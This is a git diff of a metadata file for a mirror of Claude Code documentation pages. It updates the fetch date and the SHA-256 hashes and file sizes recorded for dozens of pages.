diff --git a/content/.metadata.json b/content/.metadata.json index 5feedbbb6f..4c6a37a94b 100644 --- a/content/.metadata.json +++ b/content/.metadata.json @@ -1,7 +1,7 @@ { "metadata": { "version": "2.0", - "fetch_date": "2026-09-15T19:20:06.239290Z", + "fetch_date": "2026-09-16T05:25:22.803584Z", "section": "all" }, "items": [ @@ -4405,8 +4405,8 @@ "url": "https://code.claude.com/docs/en/overview", "status": "success", "path": "en/docs/claude-code/overview.md", - "sha256": "295c5a56b733060475aaaf3fc8bfa0d39d97684f04892cac38747be5aa849290", - "size": 16629 + "sha256": "58c19e3544de47d5d662d8783ff5335ea12215138cbf9a7815e6f448a2758368", + "size": 16634 }, { "url": "https://code.claude.com/docs/en/quickstart", @@ -4419,36 +4419,36 @@ "url": "https://code.claude.com/docs/en/changelog", "status": "success", "path": "en/docs/claude-code/changelog.md", - "sha256": "5266b3cc97998547744c65917ff5f58236007ea5f0d61ca914640e282fc6919c", - "size": 725948 + "sha256": "2e50bd6a24c03a5b8a7a6e4a4f8550f7a2c018fe2f14a03037b2cf0fc3b5df16", + "size": 736563 }, { "url": "https://code.claude.com/docs/en/how-claude-code-works", "status": "success", "path": "en/docs/claude-code/how-claude-code-works.md", - "sha256": "c878cd4428b09bcbf1ef9fbc8de547da309e49a9270b0e09d4fcb1fc16fe8cad", - "size": 19600 + "sha256": "fd2cf401b1c2b0921cd46dee3c892d3c0d353d72b8c849288ddb5c23e6cc8246", + "size": 19615 }, { "url": "https://code.claude.com/docs/en/features-overview", "status": "success", "path": "en/docs/claude-code/features-overview.md", - "sha256": "fad6cc0b1ebf429fda686679b9f6472a58aeaae9efed344c1e43297e32c8d536", - "size": 32521 + "sha256": "859c0d629ceb625e29b264bf971a9cef0d7188a6d9358c292461a9fda56d33d9", + "size": 32520 }, { "url": "https://code.claude.com/docs/en/claude-directory", "status": "success", "path": "en/docs/claude-code/claude-directory.md", - "sha256": "109cb56a865b6f939e11513cd986547b8e5ba662dc432580bc6fbcb33ee9e1f6", - "size": 99617 + "sha256": "d0dd16c0bebbb4168326fccefa9ee286c891cf4e78eb03887df7280fbb459998", + "size": 99622 }, { "url": "https://code.claude.com/docs/en/context-window", "status": "success", "path": "en/docs/claude-code/context-window.md", - "sha256": "7809b90b74309e2d9de02ee328622ad9df85f04a1f2b26299fd33d3987369e54", - "size": 62484 + "sha256": "1ce0cea3bc4090ff1d5d49723a93027fed687cab4a21d0e659976e93ae0a65f2", + "size": 62163 }, { "url": "https://code.claude.com/docs/en/prompt-caching", @@ -4468,8 +4468,8 @@ "url": "https://code.claude.com/docs/en/sessions", "status": "success", "path": "en/docs/claude-code/sessions.md", - "sha256": "ded87757c4421ed8ccafabba28b541781ee3d0e360f4b543acc3b04c02b8ec93", - "size": 38784 + "sha256": "ee5c7a8d41ab6dea7631b0e92b288eec09973978ed95f67e6a7eecc6cb0621c7", + "size": 38776 }, { "url": "https://code.claude.com/docs/en/common-workflows", @@ -4489,29 +4489,29 @@ "url": "https://code.claude.com/docs/en/best-practices", "status": "success", "path": "en/docs/claude-code/best-practices.md", - "sha256": "91876590f0112ff790ab17bb7cdb1c3e9e37ab64bc1a7d4ca25dd75dc9fb25e7", - "size": 40016 + "sha256": "5cefadb4c345bb60bac5e1d264c3f8c64223303d6d0e6ab09df4ffc3de0b3051", + "size": 39993 }, { "url": "https://code.claude.com/docs/en/platforms", "status": "success", "path": "en/docs/claude-code/platforms.md", - "sha256": "2d9e36e37fd82e2771084ac7c8d8189de6918a4149c683be62e2ba0d97db9a9c", - "size": 12499 + "sha256": "5c45e9cba207d4547d3090945c993e9ccc58e97600635d1050c46b01772acc5f", + "size": 12516 }, { "url": "https://code.claude.com/docs/en/remote-control", "status": "success", "path": "en/docs/claude-code/remote-control.md", - "sha256": "ea932656142d29e230a160b4b9114b417696576c1099fa8e0f6eae8f508d2730", - "size": 62289 + "sha256": "33d123c723a01390e89649a6af83ba9201931fe07bb9735cfd7d9a2f5657c35b", + "size": 62308 }, { "url": "https://code.claude.com/docs/en/mobile", "status": "success", "path": "en/docs/claude-code/mobile.md", - "sha256": "a4849a7c882a6d057cb2b8a7610c8556b00913b11b92297b2a2811af5e2337d1", - "size": 8946 + "sha256": "88ad021221b456e6b5ad66d91c0d72e3be90e3a5a9748d6ca0f7f672a89521d1", + "size": 8901 }, { "url": "https://code.claude.com/docs/en/chrome", @@ -4531,22 +4531,22 @@ "url": "https://code.claude.com/docs/en/vs-code", "status": "success", "path": "en/docs/claude-code/vs-code.md", - "sha256": "87da72e4494ebeba3a683d294a363b30ee2c0fed2de5086c287dad05e782c51c", - "size": 73011 + "sha256": "f7b8726be7b8218e43f8dc53e1edcd637c3e7ebfa37f995354c2be904fabc6ce", + "size": 72978 }, { "url": "https://code.claude.com/docs/en/jetbrains", "status": "success", "path": "en/docs/claude-code/jetbrains.md", - "sha256": "4e07df4595e8da869ed6bfe0c93cbfbf68695d04548c897e88b8b09deba76cd6", + "sha256": "ae9180b6e3ee1b4abaa2692daf222ad50cb8b20c1ee5ba71575ec01993dd3d0e", "size": 12800 }, { "url": "https://code.claude.com/docs/en/slack", "status": "success", "path": "en/docs/claude-code/slack.md", - "sha256": "b47ea831ba59427cdccc99002e750ff9d6c2f7ec7c6d3b203eebcd5aad5f0407", - "size": 15675 + "sha256": "b62a6d0f2f8f174c41ea88ac2475b2c12c584b609fbe4932d5f855b9aee29132", + "size": 15641 }, { "url": "https://code.claude.com/docs/en/claude-tag", @@ -4559,43 +4559,43 @@ "url": "https://code.claude.com/docs/en/web-quickstart", "status": "success", "path": "en/docs/claude-code/web-quickstart.md", - "sha256": "15983e0d3c7f2cf2f7b5920b4dff998743c55b94d2d443630bdca099aa671968", - "size": 24433 + "sha256": "11796cc89082a1492bcb7be86c50ed6eafba2174f39672fef44fca438f7f690b", + "size": 26108 }, { "url": "https://code.claude.com/docs/en/claude-code-on-the-web", "status": "success", "path": "en/docs/claude-code/claude-code-on-the-web.md", - "sha256": "cb601656821862953c861e780e0788888be41909629f6fae39e04f242648c491", - "size": 40209 + "sha256": "b26c8ac528e343f4314189d64fab0ea49e527506655e5af4a31b2b978eae1150", + "size": 41000 }, { "url": "https://code.claude.com/docs/en/routines", "status": "success", "path": "en/docs/claude-code/routines.md", - "sha256": "58c1526fa9b251f49a825d2006c13838445e1a0cdc0d6eda817c1282420f482b", - "size": 33219 + "sha256": "a5ba235d5a3f1db6206c0198299d2062f88e9836e3d83b41f2b03924e991f820", + "size": 33444 }, { "url": "https://code.claude.com/docs/en/ultrareview", "status": "success", "path": "en/docs/claude-code/ultrareview.md", - "sha256": "57bb68ba2d4d0e9e3e3f4e0bf3965f870d4bad62770702da97074c9155de0e2a", - "size": 18537 + "sha256": "5c67a641eb48ad9e74871876d4fc36613f3c4cd772f5c181e94e232a3aff71e0", + "size": 18563 }, { "url": "https://code.claude.com/docs/en/desktop-quickstart", "status": "success", "path": "en/docs/claude-code/desktop-quickstart.md", - "sha256": "8be647c11320c4ffb6a1eb61f5fb7a61cf8c71d442e0d61f2b23aa26fdb9448f", - "size": 11231 + "sha256": "e9a13e71ee44656e379266b4a394fb7e7ff47875709754ee470bf655c92556bc", + "size": 11227 }, { "url": "https://code.claude.com/docs/en/desktop", "status": "success", "path": "en/docs/claude-code/desktop.md", - "sha256": "e952ca6192f0f72769ad66abfb7248c6a41dd37bdf15e7f858668e49267b0634", - "size": 102707 + "sha256": "064076610de69afe4355b77044c6f9e0c91160e0bfb39523631fd3dc9bdc9d30", + "size": 102724 }, { "url": "https://code.claude.com/docs/en/desktop-linux", @@ -4622,50 +4622,50 @@ "url": "https://code.claude.com/docs/en/desktop-ios-simulator", "status": "success", "path": "en/docs/claude-code/desktop-ios-simulator.md", - "sha256": "9ef38bd26965240e873fa23a9b06bcac4e78e280a2f384bf3daf59a800b13a9f", - "size": 12362 + "sha256": "b4f6563f75bd2dce63f19ce56cf66eaffe9fdc110d58b1c20e64ab93291253f7", + "size": 12358 }, { "url": "https://code.claude.com/docs/en/security-guidance", "status": "success", "path": "en/docs/claude-code/security-guidance.md", - "sha256": "543522ea006fa9a4232e09991374d1a3080c7dc3b5f01dd3a33d7f15a4ce042f", - "size": 20604 + "sha256": "f79df6cc63cd205f3c7d89812bfcaea0190e632d5496f1b4cec0c3d4d5add03e", + "size": 20542 }, { "url": "https://code.claude.com/docs/en/claude-security", "status": "success", "path": "en/docs/claude-code/claude-security.md", - "sha256": "16541cbe607479449fc3dd38a5ff1478b0c71cc5fab0295893bc8e9fe3637a13", - "size": 14080 + "sha256": "49a6cfd6b9e42dbff892c1bc3107611c901f52f1063bb149d65f7cdbf19b2acb", + "size": 14101 }, { "url": "https://code.claude.com/docs/en/code-review", "status": "success", "path": "en/docs/claude-code/code-review.md", - "sha256": "9bdd28246c337da15aa2263c5bdc7646a5a61cf49e3bb6b84b76f0b53a6aeddf", - "size": 34006 + "sha256": "b495a955ebe3368e1a870d47f7e8e94761310854207422cbf03590adf26a9985", + "size": 34082 }, { "url": "https://code.claude.com/docs/en/github-actions", "status": "success", "path": "en/docs/claude-code/github-actions.md", - "sha256": "3f0e87aa1174cb1f6baf548e94bba9de7c69b4da470c65ff29776582451dd554", - "size": 32984 + "sha256": "f181d52d2ee066dc4f8b82943759f549e80278bfda3bc362e147400b637315d2", + "size": 33008 }, { "url": "https://code.claude.com/docs/en/github-actions-cloud-providers", "status": "success", "path": "en/docs/claude-code/github-actions-cloud-providers.md", - "sha256": "05540411b87f60ec8f2d062d822a7359cf05b2f1704706c7220073feb9ef6039", - "size": 18972 + "sha256": "b2c9c897206df3fe379a8802a6618ba7ecb069cef639f555e68891a11af6a30b", + "size": 18941 }, { "url": "https://code.claude.com/docs/en/github-enterprise-server", "status": "success", "path": "en/docs/claude-code/github-enterprise-server.md", - "sha256": "3db7de553825affe5e551c3b2b39c6b453d5cb6460eeb9e79e80ed31ac6079a0", - "size": 23492 + "sha256": "e6cf41f4931fcb9323af61d4e8c1c70da7a9bf3a787234e8a8f8df59334a57f5", + "size": 23508 }, { "url": "https://code.claude.com/docs/en/gitlab-ci-cd", @@ -4678,22 +4678,22 @@ "url": "https://code.claude.com/docs/en/agents", "status": "success", "path": "en/docs/claude-code/agents.md", - "sha256": "6e0ffb25fbbc6f951535ec66cec02c234b5de402aac194dff47c7abaf4ec5091", - "size": 8884 + "sha256": "314bfc0462a5de3e7f4d51f1a80dd4f8813aba2c282b3580db50ef2d0820e5f9", + "size": 8871 }, { "url": "https://code.claude.com/docs/en/sub-agents", "status": "success", "path": "en/docs/claude-code/sub-agents.md", - "sha256": "0a2d6c0e7e546f541f62dafc93152f6df98272aba998edff3772186d589cd1e2", - "size": 114786 + "sha256": "b6fa1f2099a3df0b5b92a49fe4e42351f4c3aa31227c8d2d8256b9187e650f07", + "size": 115439 }, { "url": "https://code.claude.com/docs/en/agent-view", "status": "success", "path": "en/docs/claude-code/agent-view.md", - "sha256": "7f7b200fd4050a24120dd4dce71acf79280fcfd24f2bccaa37b269aa341ca418", - "size": 254191 + "sha256": "59af5e713f96beabdd1115efca8aff8f91228ff4a78ca19e44c1d6d9bf6479f1", + "size": 256334 }, { "url": "https://code.claude.com/docs/en/agent-teams", @@ -4706,15 +4706,15 @@ "url": "https://code.claude.com/docs/en/cross-session-messaging", "status": "success", "path": "en/docs/claude-code/cross-session-messaging.md", - "sha256": "cc9778d34258a0a072f8b31c32d4caac20b6e428475a12e986053aa7de042898", - "size": 41370 + "sha256": "61beb9bc9013e9939a745a599f18d1eaa72b407afd51dc5f120a65c03abbc5f5", + "size": 41254 }, { "url": "https://code.claude.com/docs/en/workflows", "status": "success", "path": "en/docs/claude-code/workflows.md", - "sha256": "216caedf640411d819a8337d75b17e09b2f343fbf1a35b5651549ac6d915fc94", - "size": 41886 + "sha256": "48bb1efa5cf8f1d0277d8f281606f006a9c021c7748d261c073a52e77f303e7e", + "size": 41889 }, { "url": "https://code.claude.com/docs/en/worktrees", @@ -4727,29 +4727,29 @@ "url": "https://code.claude.com/docs/en/mcp-quickstart", "status": "success", "path": "en/docs/claude-code/mcp-quickstart.md", - "sha256": "28772a8c727884cd7c2b5bd1d06c77a39b01b3c97a65fb43e89048c79b615723", - "size": 25883 + "sha256": "e6f3e2fe45247a80656332d133e27f0016521abaf3e9fbcdb26f70c7f301d1a2", + "size": 25870 }, { "url": "https://code.claude.com/docs/en/mcp", "status": "success", "path": "en/docs/claude-code/mcp.md", - "sha256": "ade771958f6052478788d24253254aa6c6e6c54a510da51681785f32c774740f", - "size": 115907 + "sha256": "94ac427b5b58b688da9e67844e474caaec004be5dfa564847aa9fc4f8b628282", + "size": 116904 }, { "url": "https://code.claude.com/docs/en/skills", "status": "success", "path": "en/docs/claude-code/skills.md", - "sha256": "41d2fa0c7cd609fc74cf6a1c2ba78b8e9a229a95e2593a22a15acac53ef125d1", - "size": 112921 + "sha256": "65f3aa018bed65ecd4f39dc500a369cd7556ae497967f395f70595f5a2a62464", + "size": 113687 }, { "url": "https://code.claude.com/docs/en/discover-plugins", "status": "success", "path": "en/docs/claude-code/discover-plugins.md", - "sha256": "cfd0b8779b8a6b79318183b0de47991ffc0eb8b2652b41066e517fbde345f57c", - "size": 34993 + "sha256": "3819c328e2525576e1c5b53e0ac745c9350f50561b8288f8050faf266f8a0911", + "size": 35035 }, { "url": "https://code.claude.com/docs/en/plugins", @@ -4769,8 +4769,8 @@ "url": "https://code.claude.com/docs/en/artifacts", "status": "success", "path": "en/docs/claude-code/artifacts.md", - "sha256": "beae29cea3451277ab7f04a72a6dd78ae3357e1b606ffb462ea4ecba76ac95e5", - "size": 40735 + "sha256": "492a12958c361764b71acfaf0164140c65c3f22ffc23b99ef121f1350e00de5c", + "size": 40782 }, { "url": "https://code.claude.com/docs/en/hooks-guide", @@ -4783,22 +4783,22 @@ "url": "https://code.claude.com/docs/en/channels", "status": "success", "path": "en/docs/claude-code/channels.md", - "sha256": "809496c86782e9beacb6bfa8085af1b6fa806592b51706c3b8c0718235ceba2b", - "size": 24051 + "sha256": "0521def6e65123e04363b14e5a9402cf9055f8e24c96146917ca78019b4cf96e", + "size": 24049 }, { "url": "https://code.claude.com/docs/en/scheduled-tasks", "status": "success", "path": "en/docs/claude-code/scheduled-tasks.md", - "sha256": "5f3f6064bcdc5c454244a49e2ac80652cd3f4e891090d544b85cb155f5cdbaa3", - "size": 17714 + "sha256": "5f59637b18745f0e55bab0e7881e27a633b41dce78fd14ef0f95318b609b213a", + "size": 17717 }, { "url": "https://code.claude.com/docs/en/goal", "status": "success", "path": "en/docs/claude-code/goal.md", - "sha256": "50029aae9822b8b13a14111494dc617667b8757d4b49a392c2e0fb83b1ffd227", - "size": 16655 + "sha256": "bbf71445a5ca9b8f4fdca7d53e59285c026f1faa3316e81763499ad109917782", + "size": 16657 }, { "url": "https://code.claude.com/docs/en/headless", @@ -4811,8 +4811,8 @@ "url": "https://code.claude.com/docs/en/deep-links", "status": "success", "path": "en/docs/claude-code/deep-links.md", - "sha256": "e1d6a53e3e9acdb2b0b485adb3502d395a4e43be53ab0f62099e5815f67a00f8", - "size": 14624 + "sha256": "92397839a9248bdf4d25ea58355788be098eca409b13748eb4751b6e360bc368", + "size": 14625 }, { "url": "https://code.claude.com/docs/en/large-codebases", @@ -4825,15 +4825,15 @@ "url": "https://code.claude.com/docs/en/troubleshoot-install", "status": "success", "path": "en/docs/claude-code/troubleshoot-install.md", - "sha256": "9bc9b34c67d8a1b12328b454ade028fb9a1190f365cf13560e4393fe8979f72d", + "sha256": "0a1201f2a0e09eed4474ac17c275420663f5c04bad0887159208c5fd82078fd0", "size": 62395 }, { "url": "https://code.claude.com/docs/en/troubleshooting", "status": "success", "path": "en/docs/claude-code/troubleshooting.md", - "sha256": "aeb3473f0f5a5ce66b4fd02ead6678ec19fe0ea7a4b6a716e9d63b797525e47b", - "size": 15025 + "sha256": "cf3af01fb7bfb78e5bd06b26d19c0e31ad1c52e423f1b9d2ec839eaadb574be6", + "size": 15014 }, { "url": "https://code.claude.com/docs/en/debug-your-config", @@ -4846,106 +4846,106 @@ "url": "https://code.claude.com/docs/en/errors", "status": "success", "path": "en/docs/claude-code/errors.md", - "sha256": "55e191744da0ed9098dd0751c619275510cb93466880c307a607273f13693814", - "size": 428903 + "sha256": "760c0cc89c957c478ff48868c48b800af7ff509c67c6c60a9ffa077b76dfbb6c", + "size": 440885 }, { "url": "https://code.claude.com/docs/en/admin-setup", "status": "success", "path": "en/docs/claude-code/admin-setup.md", - "sha256": "eafb24fdcaafedae84768fce405647032c576021160484b67b30f4511fe00243", - "size": 40799 + "sha256": "e5f0388a262f92047c4b092ae5fa34cacf5f2c6488d01c5ccf0f41f558721681", + "size": 40786 }, { "url": "https://code.claude.com/docs/en/setup", "status": "success", "path": "en/docs/claude-code/setup.md", - "sha256": "c6db06fd0151af5c848bd6fb5a39fd4c6b81b5c53db5cf37e0b670be192d94f1", + "sha256": "b4e5709f5a9554258e50343dc193815ad5888ce06d131fa4fe0e890f692e4a24", "size": 31277 }, { "url": "https://code.claude.com/docs/en/authentication", "status": "success", "path": "en/docs/claude-code/authentication.md", - "sha256": "bc13c9047347984331089d48131aad67521a14f418acb4aab9ce31afe585fdd4", - "size": 29347 + "sha256": "9505ac4d159739837c481d3e9bed18cd7a4ca7332f626264f5dd067a633e66ee", + "size": 29336 }, { "url": "https://code.claude.com/docs/en/managed-settings", "status": "success", "path": "en/docs/claude-code/managed-settings.md", - "sha256": "4e77a6cd7f33b9fa3b20c5e296fca202b4bd286a2ea9242b54fa6612d973c081", - "size": 65092 + "sha256": "a3112e80f66d25f708a0128697a5717d28d7b81fb58fbad90a0fe90a9e1727f2", + "size": 65458 }, { "url": "https://code.claude.com/docs/en/server-managed-settings", "status": "success", "path": "en/docs/claude-code/server-managed-settings.md", - "sha256": "3734eecb8ed9368a3172684506192ac11a41121ea54c70b12a81a623df720407", - "size": 47095 + "sha256": "adff1ad2888ed0f9ddd282ff2ad702e627765a1ed4c8851cc2d904f30726b9e2", + "size": 47102 }, { "url": "https://code.claude.com/docs/en/managed-mcp", "status": "success", "path": "en/docs/claude-code/managed-mcp.md", - "sha256": "b7948c0cb77cbe89699ec6cfae45b4dc397aaf56f69d0a6dd4169c3b968d5e79", + "sha256": "5faa9995aee3a12a718568f28c89c41ae5ffcd352115a6dba15993a1ec17bde5", "size": 51029 }, { "url": "https://code.claude.com/docs/en/auto-mode-config", "status": "success", "path": "en/docs/claude-code/auto-mode-config.md", - "sha256": "cdd23ee3d702b09961ab52150dde9365767e86e712bdbff5de98118dda012f49", - "size": 35601 + "sha256": "8debfa515faff4eb75597e70c8b1f745f40eef495398933a8e121b916fe53cae", + "size": 35781 }, { "url": "https://code.claude.com/docs/en/third-party-integrations", "status": "success", "path": "en/docs/claude-code/third-party-integrations.md", - "sha256": "5944e5c095d12e5e65938933d9384a6b4d953a9b8261570eed34a09404184829", - "size": 13610 + "sha256": "55a0b5d1f8715031fa8f598901575cb3fec78b534ab5c1a3fe5b7d212b48497c", + "size": 13605 }, { "url": "https://code.claude.com/docs/en/feature-availability", "status": "success", "path": "en/docs/claude-code/feature-availability.md", - "sha256": "ced8614b92f3c6ef59f6030e32f77253a36b6478ec1585218273cb31d12e2e32", - "size": 23159 + "sha256": "a6f2df6a93158947d90142f6c43d0dad448dfec4eeb016552b7caadf80c8b6e0", + "size": 23140 }, { "url": "https://code.claude.com/docs/en/amazon-bedrock", "status": "success", "path": "en/docs/claude-code/amazon-bedrock.md", - "sha256": "64a24920e294abfb99ffcf6543dad36f73970fbb0116db864c16bba628ad9c39", - "size": 42592 + "sha256": "4fd46c0244951439e66a99df21f6692da049b1c53ef8d21d6abd23a7fb8417ef", + "size": 42647 }, { "url": "https://code.claude.com/docs/en/claude-platform-on-aws", "status": "success", "path": "en/docs/claude-code/claude-platform-on-aws.md", - "sha256": "8b8b259956c3abb62366823f071d1c3f429b7947ec2fbb34a4907342afc0dbe1", + "sha256": "3ac79637645821f27a8dfaadded790981454940d5ae44985c4975d7ccb68daf9", "size": 18685 }, { "url": "https://code.claude.com/docs/en/google-vertex-ai", "status": "success", "path": "en/docs/claude-code/google-vertex-ai.md", - "sha256": "4a2f59127c634287d2e30cd024c58e4aa7d8226b75111595c109b24f6fb76e07", - "size": 21481 + "sha256": "4b1c75f9648dae19306e8a191c6c2d6d5f39dc30a4254adc1a2d12202b5c6646", + "size": 21475 }, { "url": "https://code.claude.com/docs/en/microsoft-foundry", "status": "success", "path": "en/docs/claude-code/microsoft-foundry.md", - "sha256": "2b5f9e4235f1dda584b53ee1d2d96bef8b4ca13dde339afb3572d9194cfdc7f7", - "size": 10573 + "sha256": "433d6d0985119a47d656a13e3d640b7289cd1c4564c277beb566ca132d509791", + "size": 10567 }, { "url": "https://code.claude.com/docs/en/network-config", "status": "success", "path": "en/docs/claude-code/network-config.md", - "sha256": "37954df0b7775772198b3ffc6690ff19b520ee8974633a22f1719b8db07aa3fd", - "size": 39698 + "sha256": "721d5b5f85b8c595fdc6fdcc9103e93611a6f5fa15b6ba0650e93f1547d13be0", + "size": 39690 }, { "url": "https://code.claude.com/docs/en/corporate-launcher", @@ -4958,8 +4958,8 @@ "url": "https://code.claude.com/docs/en/devcontainer", "status": "success", "path": "en/docs/claude-code/devcontainer.md", - "sha256": "6ab6c842a9f979f21eef0da2f8547b33e2f0fef2944cfe0bedbbca1454a050e7", - "size": 18608 + "sha256": "75b9463a3a7caad3e34383e68937d42f1bbd6729425810d6310cae894921661e", + "size": 18618 }, { "url": "https://code.claude.com/docs/en/gateways", @@ -4972,15 +4972,15 @@ "url": "https://code.claude.com/docs/en/claude-apps-gateway", "status": "success", "path": "en/docs/claude-code/claude-apps-gateway.md", - "sha256": "b3e39235c003500ab848b80474e3568bc4e5d3180f4a2b6e15345d58e05d5cef", - "size": 60161 + "sha256": "4c39400632d5d10eef18295266d0779287d927b4653b1e560132157d3193be92", + "size": 66252 }, { "url": "https://code.claude.com/docs/en/claude-apps-gateway-config", "status": "success", "path": "en/docs/claude-code/claude-apps-gateway-config.md", - "sha256": "1f5149b428af1f28255d855568eabd9cb22fc9647a3bb79c7fd421dc29b3b462", - "size": 127177 + "sha256": "20bafaa9e2173b5e44bced0c31594b8bf96d6f3c045cc6fa3ff3f54b27bea227", + "size": 129051 }, { "url": "https://code.claude.com/docs/en/claude-apps-gateway-spend-limits", @@ -4993,8 +4993,8 @@ "url": "https://code.claude.com/docs/en/claude-apps-gateway-deploy", "status": "success", "path": "en/docs/claude-code/claude-apps-gateway-deploy.md", - "sha256": "09270d8f4e207724e6aae6f48b9a970996cef9e8db5702abe212c1240143bdb0", - "size": 70043 + "sha256": "0546c29586a024835752a08c4447e0019fa3004871eff7065971ec4732b1551c", + "size": 75869 }, { "url": "https://code.claude.com/docs/en/claude-apps-gateway-on-aws", @@ -5021,22 +5021,22 @@ "url": "https://code.claude.com/docs/en/llm-gateway-connect", "status": "success", "path": "en/docs/claude-code/llm-gateway-connect.md", - "sha256": "0cafc66560349ebf8837d5dcbe5175ca626418f41718389be93cec2d67e89225", - "size": 56755 + "sha256": "dca758acf515a4e152c5043e0f7911b3b23819bff62bdb601d5390ee6a913695", + "size": 57928 }, { "url": "https://code.claude.com/docs/en/llm-gateway-rollout", "status": "success", "path": "en/docs/claude-code/llm-gateway-rollout.md", - "sha256": "12a0e018c724b243a3b57f71633ec5ea5856be0e860b9a784c3f5da31a72df4d", + "sha256": "f578fee1c4c8f2d49d89caa66e326179309a4b1e8f06a45f9b532721354f070b", "size": 32752 }, { "url": "https://code.claude.com/docs/en/llm-gateway-protocol", "status": "success", "path": "en/docs/claude-code/llm-gateway-protocol.md", - "sha256": "a7202b36cfd845a5dadb303d407ae1f737d8de66a43d2e3574497d7f69949783", - "size": 34879 + "sha256": "296f53d8f5ed4a5824e9de3de710691d0475d28e84be3c9ea5781adae6c58cac", + "size": 34904 }, { "url": "https://code.claude.com/docs/en/monitoring-usage", @@ -5063,15 +5063,15 @@ "url": "https://code.claude.com/docs/en/plugin-marketplaces", "status": "success", "path": "en/docs/claude-code/plugin-marketplaces.md", - "sha256": "7f3c421906a5929950d4994a9566224ecd8b3b56e05575e8751f1ba28cf11078", - "size": 120089 + "sha256": "e1d293ee533d4dbd0b333b516a6488215e5832bf18cde589fa41004903c5963a", + "size": 120195 }, { "url": "https://code.claude.com/docs/en/plugin-dependencies", "status": "success", "path": "en/docs/claude-code/plugin-dependencies.md", - "sha256": "566c016cf497b7e27052dffed7a4458b7875fa7f48a360c7b1a1e43995fea154", - "size": 24396 + "sha256": "00a0c4ecf579422dcf1e8cced5d41ef0cbc0f9f49875495f08db3bee04237cfd", + "size": 24404 }, { "url": "https://code.claude.com/docs/en/plugin-hints", @@ -5091,22 +5091,22 @@ "url": "https://code.claude.com/docs/en/security", "status": "success", "path": "en/docs/claude-code/security.md", - "sha256": "b1e29041159b512f992ed30ec0b081fb01ab465fc47166190002df9ca13f8638", + "sha256": "209449b6fccbcde395ff4a962b0ff86fb5eaf6dc40aa09e93634c5838df56b61", "size": 12878 }, { "url": "https://code.claude.com/docs/en/data-usage", "status": "success", "path": "en/docs/claude-code/data-usage.md", - "sha256": "7e49068be87bb5081cd803900a6712b27fe361dbd38b14672f8fcc3c1b4f1720", - "size": 22277 + "sha256": "bbb6d6542a27a43cb86da21fd32c919ac27192187397b6331a4304f4d8984bb9", + "size": 22231 }, { "url": "https://code.claude.com/docs/en/zero-data-retention", "status": "success", "path": "en/docs/claude-code/zero-data-retention.md", - "sha256": "d52b165461f9550eb4c1fbee59c179875a3d2f78ceafd57bf990b2a99b8e4d7b", - "size": 9038 + "sha256": "a05ce9c2d3cbb01e3364614f919f001b325d666ac6ac70ba8a4f24f727b8c819", + "size": 9364 }, { "url": "https://code.claude.com/docs/en/communications-kit", @@ -5126,64 +5126,64 @@ "url": "https://code.claude.com/docs/en/settings", "status": "success", "path": "en/docs/claude-code/settings.md", - "sha256": "64cded8bee5a49d42848987d5ae5acc68c9db60c85aaf4145530528e949e526d", - "size": 58579 + "sha256": "d71d852bf6337a86794d12d106a95397b3c588deeb3d2d685161f03fc0d7b6cd", + "size": 58398 }, { "url": "https://code.claude.com/docs/en/settings-reference", "status": "success", "path": "en/docs/claude-code/settings-reference.md", - "sha256": "b45b1dddb165d4833945ebe31b919a91d481e3f575f97a6adee8702b5ad8fdc5", - "size": 437041 + "sha256": "e5de607985e31488ff5a28e68b22c2a7b1649f9e18ec4db8d074a2838cdc3e97", + "size": 441475 }, { "url": "https://code.claude.com/docs/en/settings-example", "status": "success", "path": "en/docs/claude-code/settings-example.md", - "sha256": "86e06ed3ff05f33354094cf76fa5d2d51cb0ea6ee23e4a690c69fdb01a640afa", - "size": 15669 + "sha256": "c8360a9cb51a997ae1f19e5aecfba584b7141f358a84a768f1003c001f329483", + "size": 15643 }, { "url": "https://code.claude.com/docs/en/permissions", "status": "success", "path": "en/docs/claude-code/permissions.md", - "sha256": "b29bb734fe776ca83c8996dbc2e92642196de116dd9acfe43b55e051362594b8", - "size": 83714 + "sha256": "eab3c45e44187c7be90a7566d21233835354237c9b41ac36906ea45114cc21cb", + "size": 83911 }, { "url": "https://code.claude.com/docs/en/permission-modes", "status": "success", "path": "en/docs/claude-code/permission-modes.md", - "sha256": "4acafadc7c06b521373612ee4199b12ed0ea51d674e6c9743d62a442c1bc19a0", - "size": 80950 + "sha256": "77bbe7bccf66d50594d1c2209b209ee652d01c99580705917a88f24976d7eab2", + "size": 82080 }, { "url": "https://code.claude.com/docs/en/sandboxing", "status": "success", "path": "en/docs/claude-code/sandboxing.md", - "sha256": "a4cad3efa21a0f1ae7d18d1b8a74aff7fe8ffa78a0feb6d04bcaf55faa7f382b", - "size": 75460 + "sha256": "f4aea577087c100af55310a11beb32fc079684124c00d34d487bd7c9be9419b6", + "size": 77876 }, { "url": "https://code.claude.com/docs/en/sandbox-environments", "status": "success", "path": "en/docs/claude-code/sandbox-environments.md", - "sha256": "0ba7f3a6d26f50f582b99c08b8e67c993a9792fdb4d28f7a35b46b23d6d471a8", - "size": 19909 + "sha256": "d2d4aab55345699fdcd84960846c46a81bfe6fdf7129ba5a8dd529a91c9432f9", + "size": 19943 }, { "url": "https://code.claude.com/docs/en/cloud-environments", "status": "success", "path": "en/docs/claude-code/cloud-environments.md", - "sha256": "1b3876807e2d0a7839ccf8279e50797fd74c1fa30f7847d24641b44f5279496f", - "size": 65122 + "sha256": "6daf33ed9f2813b92266258e793aced549dde8a47e563e0ef8cf5a2411526f20", + "size": 65227 }, { "url": "https://code.claude.com/docs/en/self-hosted-environments", "status": "success", "path": "en/docs/claude-code/self-hosted-environments.md", - "sha256": "5898f4265c7f77f2a4c0212d1eb2f8d9c7db8182879be2b100839f307555e9ce", - "size": 20071 + "sha256": "ea86ca8ec63a04d77e07db4c70630743afd83e424f8e1df42f76095a360ce27c", + "size": 20050 }, { "url": "https://code.claude.com/docs/en/self-hosted-environments-quickstart", @@ -5196,43 +5196,43 @@ "url": "https://code.claude.com/docs/en/self-hosted-environments-deploy", "status": "success", "path": "en/docs/claude-code/self-hosted-environments-deploy.md", - "sha256": "65f5025d31d817110dfdbb044e48a9016f492141dcef3c961135b6d32080191f", - "size": 60882 + "sha256": "242c91919cda11088c9746bd21c9ecaaadee7ebe9fd8fa1b71f6c3d39ed9ec4c", + "size": 62448 }, { "url": "https://code.claude.com/docs/en/self-hosted-environments-configuration", "status": "success", "path": "en/docs/claude-code/self-hosted-environments-configuration.md", - "sha256": "d7a7c4fc75b62f4bee45ceef69a8b1b0bc5d1798baabb55d4b557441cef80a15", - "size": 53087 + "sha256": "9e62997be698f822a047afd202ba9d98773a9342cc3dd50c0b2e18a65ae03abd", + "size": 53097 